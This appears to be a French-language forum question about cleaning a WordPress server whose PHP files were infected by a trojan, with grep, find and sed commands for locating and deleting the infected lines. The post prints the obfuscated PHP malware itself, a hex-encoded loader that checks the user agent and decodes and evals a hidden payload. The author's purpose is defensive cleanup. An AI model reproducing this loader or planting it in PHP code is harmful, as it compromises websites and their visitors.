Suppression de chevaux de Troie Wordpress: Comment utiliser find / sed -i / awk pour supprimer la ligne contenant «$ ua = strtolower» de * .php * de manière récursive?

Un cheval de Troie a infecté tous les fichiers * .php sur mon serveur. J'ai utilisé cela pour identifier et lister tous les fichiers:

 grep -nHR "$ua=strtolower" /www/* | cut -d':' -f1

Voici le code:

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $jsikazxpyu = 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dsjxoda'; $gwzjflvjgn = explode(chr((167-123)),'1340,60,1221,64,4846,62,5108,49,9305,24,3897,36,2006,26,842,22,8439,63,9329,64,8992,34,6815,54,8259,21,996,48,2350,54,3055,22,7632,53,4578,43,5902,59,116,41,3128,60,1462,22,1044,42,6360,42,8857,27,7459,40,7083,34,1904,37,7268,64,563,36,9026,31,9118,69,6895,64,7795,69,6253,69,6472,39,508,35,1813,30,3396,53,9187,34,1285,55,6576,56,1484,67,1760,53,6024,34,0,46,6121,63,1438,24,8624,43,7117,34,9057,30,7332,66,6959,58,3449,60,2464,59,7763,32,8015,41,3761,51,7685,57,7864,51,5199,36,8403,36,6322,38,8280,70,9699,58,8734,54,4451,67,157,32,395,47,6685,20,5695,39,2860,49,6058,63,2177,36,4351,62,2523,49,7017,66,9801,55,718,62,2138,39,2963,40,3003,52,7499,67,4728,51,9437,40,1109,54,3835,62,9900,42,653,65,5534,58,46,28,7742,21,4961,44,7398,61,2764,55,7977,38,1400,38,8056,54,4779,67,2572,47,2819,41,4621,67,10038,68,6705,51,7915,62,1582,31,8788,69,5734,43,6184,38,2742,22,3598,69,9545,61,2909,54,6511,65,297,62,5005,60,599,54,813,29,189,52,5469,65,927,69,1843,61,5339,62,2101,37,9284,21,6869,26,3285,48,3077,51,4413,38,8350,53,9942,36,8110,41,7566,66,6756,35,5235,48,5592,44,1551,31,4299,52,5401,42,7197,50,9507,38,884,43,780,33,2281,69,5843,59,8949,43,9757,44,9978,60,4940,21,1700,60,9660,39,1613,58,8912,37,3667,43,3255,30,5636,59,3710,51,8151,52,1163,58,7151,46,9393,44,3333,63,3509,52,9856,44,2686,33,864,20,4908,32,543,20,1671,29,4109,67,6632,53,2404,60,359,36,7247,21,3211,44,8566,58,5283,56,2046,55,1086,23,3188,23,2619,67,74,42,8203,56,5961,63,3561,37,5065,43,8502,64,9606,54,4518,39,241,56,4246,53,2213,68,4176,70,4557,21,5157,42,6222,31,1941,65,8884,28,3981,61,2719,23,6791,24,3812,23,9221,63,8667,67,9477,30,442,66,5443,26,6402,70,4688,40,3933,48,5777,66,4042,67,9087,31,2032,14'); $xmardksupn=substr($jsikazxpyu,(45923-35817),(48-41)); if (!function_exists('jqtycdwglc')) { function jqtycdwglc($tutcgbfyga, $uspwicgair) { $fadtmurxrp = NULL; for($fcsoyutzvq=0;$fcsoyutzvq<(sizeof($tutcgbfyga)/2);$fcsoyutzvq++) { $fadtmurxrp .= substr($uspwicgair, $tutcgbfyga[($fcsoyutzvq*2)],$tutcgbfyga[($fcsoyutzvq*2)+1]); } return $fadtmurxrp; };} $yymyiypvji="\x20\57\x2a\40\x62\172\x69\150\x67\163\x74\171\x69\162\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x33\55\x31\67\x36\51\x29\54\x20\143\x68\162\x28\50\x33\66\x30\55\x32\66\x38\51\x29\54\x20\152\x71\164\x79\143\x64\167\x67\154\x63\50\x24\147\x77\172\x6a\146\x6c\166\x6a\147\x6e\54\x24\152\x73\151\x6b\141\x7a\170\x70\171\x75\51\x29\51\x3b\40\x2f\52\x20\144\x62\172\x7a\145\x70\152\x65\143\x67\40\x2a\57\x20"; $kssqaiublz=substr($jsikazxpyu,(61036-50923),(58-46)); $kssqaiublz($xmardksupn, $yymyiypvji, NULL); $kssqaiublz=$yymyiypvji; $kssqaiublz=(455-334); $jsikazxpyu=$kssqaiublz-1; ?>

Si j'essaye: find . -name *.php -type f -print0 | xargs -0 sed -i 's/[that code here]//g'

Sed ne le prendra pas. Il n'aime pas!, (,) Et éventuellement ". Crache une erreur.

Pouvez-vous penser à un moyen créatif de désinfecter tous ces fichiers? Je crois que le code peut être unique pour chaque fichier, randomisé de certaines manières ...

Le jeton "$ ua = strtolower" est présent dans chacun d'eux. Par conséquent, si je peux supprimer toutes les lignes de chaque * .php contenant "$ ua = strtolower", je peux supprimer le cheval de Troie.

résolu

find . -name *.php -type f -print0 | xargs -0 sed -i.bak '/$ua=strtolower/d'

Cela a foiré mon thème pour Wordpress mais je l’ai restauré à partir de la sauvegarde. Quelque chose à propos de la <?php ne pas être là ...